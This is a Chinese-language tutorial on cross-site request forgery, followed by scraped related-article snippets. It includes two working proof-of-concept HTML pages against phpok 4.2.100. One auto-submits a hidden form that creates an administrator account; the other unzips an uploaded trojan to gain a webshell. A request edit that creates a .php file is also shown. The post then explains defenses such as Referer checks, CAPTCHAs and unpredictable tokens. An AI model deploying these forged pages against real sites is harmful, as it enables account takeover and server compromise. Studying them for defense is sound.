CSRF全称Cross Site Request Forgery,即跨站点请求伪造。我们知道,攻击时常常伴随着各种各样的请求,而攻击的发生也是由各种请求造成的。

  CSRF攻击能够达到的目的是使受害者发出由攻击者伪造的请求。

  

   CSRF能做的事情大概如下:

  1)篡改目标网站上的用户数据;    
  2)盗取用户隐私数据;
  3)作为其他攻击向量的辅助攻击手法;
  4)传播CSRF蠕虫。

  

(1)版本4.2.100:

在phpok该版本的后台提交如下POST请求可以添加管理员:

 POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com

Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…

由以上http头部可看出,此为添加管理员的请求,只有管理员能够执行。

攻击者可以构造如下页面:

 <html>
<div style="display:none">
<form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input type="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.account.value="wooyun";
t.pass.value="123456";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>
</html>

当管理员访问攻击者制作的页面时,此时会通过javascript脚本来生成一个表单对象,来通过表单标签的id属性来调用表单,为表单赋值。

此时添加账户名t.account.value = "wooyun",此时新添加的管理员的名字将成为wooyun。

赋值结束后将通过document.poc.submit()函数来自动提交表单到受攻击的站点,此时由于管理员对于被攻击站点已经保存有cookie,则此时会直接添加新的管理员。

攻击发生之前:

管理员在登录的情况下访问攻击者的页面之后,如图:

可以看到,成功添加了一名管理员。

攻击到这里就结束了吗?并没有!攻击者利用CSRF漏洞成功进入了后台,他还要想办法GetShell!

在后台风格管理-创建模板文件的地方添加一个模板,通过抓包改包的方式绕过前端对文件类型的判断(由于判断文件类型是通过前端js,所以可通过抓包改包),如图:

GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html

改为GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php

可以看到成功添加了.php文件:

然后在编辑文件内容为一句话木马即可:

2)还是4.2.100...

刚才我们是通过CSRF先进入后台,然后利用后台的其他漏洞GetShell,这次我们直接在前台利用CSRF漏洞去GetShell怎么样?

phpok的前台可以上传.zip文件,我们把木马文件test.php压缩为test.zip;

注册一个账号,进入修改资料页面;

选择一个正常的图片,截获数据,如图:

然后修改数据,如图:

成功上传.zip文件,记录下文件id号,这里是739。

在后台的程序升级-ZIP离线包升级中的升级操作存在CSRF漏洞,演示如图

于是攻击者可以构造如下页面:

 <html>
<form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post">
<input type="hidden" name="zipfile" value=""/>
<input type="hidden" name="file" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.zipfile.value="739";
t.file.value="739";
document.poc.submit();
</script>
</html>

管理员登录后台后访问攻击者的页面,如图:

可以看到我们的木马文件已经上传到服务器上了。

这次攻击,我们根本没有进入后台,而是利用一个CSRF漏洞直接就拿到了Webshell,由此可以看出CSRF在某些场景下的威力之大,根本不亚于SQL注入和文件上传这样的漏洞。

CSRF的防御:

首先是“跨域”,我们发现CSRF攻击的请求都是跨域的,针对这一特点,我们可以在服务端对HTTP请求头部的Referer字段进行检查。一般情况下,用户提交的都是站内的请求,其Referer中的来源地址应该是站内的地址。至关重要的一点是,前端的JavaScript无法修改Referer字段,这也是这种防御方法成立的条件。

不过需要说明的是,有的时候请求并不需要跨域,比如我们后面讲到的结合XSS进行攻击的时候,有的时候甚至没有Referer字段…,这些也是使用这种防御方法的弊病所在。

第二点是“伪造”,这也是CSRF攻击的核心点,即伪造的请求。我们来想一下,攻击者为什么能够伪造请求呢?换句话说,攻击者能够伪造请求的条件是什么呢?纵观之前我们伪造的所有请求,无一例外,请求中所有参数的值都是我们可以预测的,如果出现了攻击者无法预测的参数值,那么将无法伪造请求,CSRF攻击也不会发生。基于这一点,我们有了如下两种防御方法:

  1. 添加验证码;

  2. 使用一次性token

先看看第一种。验证码的核心作用是区分人和机器,而CSRF攻击中的请求是在受害者上当的情况下由浏览器自动发出的,属于机器发出的请求,攻击者无法预知验证码的值,所以使用验证码可以很好地防御CSRF攻击,但毫无疑问,验证码会一定程度地影响用户体验,所以我们要在安全和用户体验之间找到一个平衡点。

再看看第二种方法。所谓token是一段字母数字随机值,我们可以把它理解为一个服务端帮我们填好的验证码!每当我们访问该页面时,服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中,当我们提交表单时,token会作为一个参数提交到服务端进行验证。在这个请求过程中,token的值也是攻击者无法预知的,而且由于同源策略的限制,攻击者也无法使用JavaScript获取其他域的token值,所以这种方法可以成功防御CSRF攻击,也是现在用的最多的防御方式。

但是,需要注意的一点是,token的生成一定要随机,即不能被攻击者预测到,否则这种防御将形同虚设。另外,token如果作为GET请求的参数在url中显示的话,很容易在Referer中泄露。还有更重要的一点:如果在同域下存在XSS漏洞,那么基于token的CSRF防御将很容易被击破,我们后面再说。

除了“跨域”和“伪造”两点,我们还可以注意到CSRF在攻击时间上的特点:CSRF攻击都是在受害者已经完成身份认证之后发生的,这是由CSRF攻击的目的所决定的。基于这一点,我们还可以想出一些缓解CSRF攻击的方法(注意是缓解),比如缩短Session的有效时间等等,可能一定程度上会降低CSRF攻击的成功率。

总结一下上面的防御方法如下:

  1. 验证Referer;(Referer中的来源地址应该是站内的地址。至关重要的一点是,前端的JavaScript无法修改Referer字段)

  2. 使用验证码;(由机器发出请求,验证码不可预测)

  3. 使用CSRF token;(用户拥有令牌token,但是攻击者没有)

  4. 限制Session生命周期。

CSRF token最大弊病:随机性不够好或通过各种方式泄露,此外,在大型的服务中需要一台token生成及校验的专用服务器,需要更改所有表单添加的字段,有时效性的问题。

												

csrf学习笔记的更多相关文章

  1. 初探csrf学习笔记

    以下是学习了对CSRF的理解,大家切勿作为标准,如有出错请告之! 严禁转载.不想拿自己刚学到的知识去[误人子弟]之所以写出来是让自己巩固和增加理解,他日对此文有不当之处自会修改. [00x1]csrf ...

  2. CSRF学习笔记之CSRF的防御【00x4】

    referer 验证 根据HTTP协议,在http请求头中包含一个referer的字段,这个字段记录了该http请求的原地址.通常情况下,执行转账操作的post请求www.bank.com/trans ...

  3. CSRF学习笔记之CSRF的攻击与防御以及审计【00x3】

    Hight.php完整代码如下: <?php if (isset($_GET['Change'])) { // Turn requests into variables $pass_curr = ...

  4. CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】

    +++++++++++++++++++++++++++ + 00x1 实现简单的攻击 + 00x2 代码审计漏洞的源头 +++++++++++++++++++++++++++ 00x1 简单的csrf ...

  5. CSRF 学习笔记

    1:什么是CSRF: 假设有一个支付网站:www.xx.com 向小明同学付款1000元数据包: www.xx.com/pay.php?name=xiaoming&account=xxxx@q ...

  6. CSRF学习笔记之CSRF的攻击与防御以及审计【00x2 】

    Medium完整代码: <?php if (isset($_GET['Change'])) { // Checks the http referer header if ( eregi ( &q ...

  7. Web 学习笔记 - 网络安全

    前言 作为 前端开发者,了解一点 Web 安全方面的基本知识是有很必要的,未必就要深入理解.本文主要介绍常见的网络攻击类型,不作深入探讨. 正文 网络攻击的形式种类繁多,从简单的网站敏感文件扫描.弱口 ...

  8. SpringBoot + Spring Security 学习笔记(五)实现短信验证码+登录功能

    在 Spring Security 中基于表单的认证模式,默认就是密码帐号登录认证,那么对于短信验证码+登录的方式,Spring Security 没有现成的接口可以使用,所以需要自己的封装一个类似的 ...

  9. SpringBoot + Spring Security 学习笔记(三)实现图片验证码认证

    整体实现逻辑 前端在登录页面时,自动从后台获取最新的验证码图片 服务器接收获取生成验证码请求,生成验证码和对应的图片,图片响应回前端,验证码保存一份到服务器的 session 中 前端用户登录时携带当 ...

随机推荐

  1. WPF自学入门(五)WPF依赖属性

    在.NET中有事件也有属性,WPF中加入了路由事件,也加入了依赖属性.最近在写项目时还不知道WPF依赖属性是干什么用的,在使用依赖项属性的时候我都以为是在用.NET中的属性,但是确实上不是的,通过阅读 ...

  2. Eclipse常用不常用快捷键

    逼格高且常用的7个快捷键:Ctrl+O:列出该类下的所有方法   Ctrl+E:列出打开的所有类   Shift+Enter:在当前行下一行创建空白行(Ctrl+Shift+Enter:在当前行上一行 ...

  3. Ceph常见问题百科全书

    Ceph是目前炙手可热的一个统一分布式存储系统,具有优异的性能.可靠性.可扩展性.其可轻松扩展到数 PB 容量, 支持多种工作负载的高性能(每秒输入/输出操作[IOPS]和带宽),具有极其高的可靠性. ...

  4. linux学习之路--(六)用户及权限详解

    计算机资源 用户 用户的容器,用户组 权限 进程时用户访问计算机的代理,操作文件的时候,文件本身有权限,进程本身也有权限 安全上下文(secure context) 权限: r, w, x 文件: r ...

  5. Mycat 常用管理命令说明

    Mycat 提供了类似数据库的管理监控方式,可以通过 MySQL 命令行登陆管理端口 9066 执行相应的 SQL 语句进行管理,可以可以通过 JDBC 的方式进行远程连接管理,使用 MySQL 命令 ...

  6. poj-3660-cows contest(不懂待定)

    Description N (1 ≤ N ≤ 100) cows, conveniently numbered 1..N, are participating in a programming con ...

  7. 关于java中的值传递与引用传递遇到的问题

    来源于:https://www.nowcoder.com/test/question/done?tid=14302398&qid=25373#summary 下列java程序的输出结果为___ ...

  8. Algorithm --> 筛法求素数

    一般的线性筛法 genPrime和genPrime2是筛法求素数的两种实现,一个思路,表示方法不同而已. #include<iostream> #include<math.h> ...

  9. shiro权限框架(三)

    三.身份验证 身份验证,即在应用中谁能证明他就是他本人.一般提供如他们的身份 ID 一些标识信息来表明他就是他本人,如提供身份证,用户名/密码来证明 在 shiro 中,用户需要提供 principa ...

  10. clumsy模拟客户端网络差的场景的使用

    1.为什么需要模拟客户端网络差的情况? a. 研发环境的网络配置一般较高,网络响应快,不容易出现网络故障,但是客户使用的网络环境千差万别,不排除使用过程中遇到网络故障的情况. b.程序有些时候是多线程 ...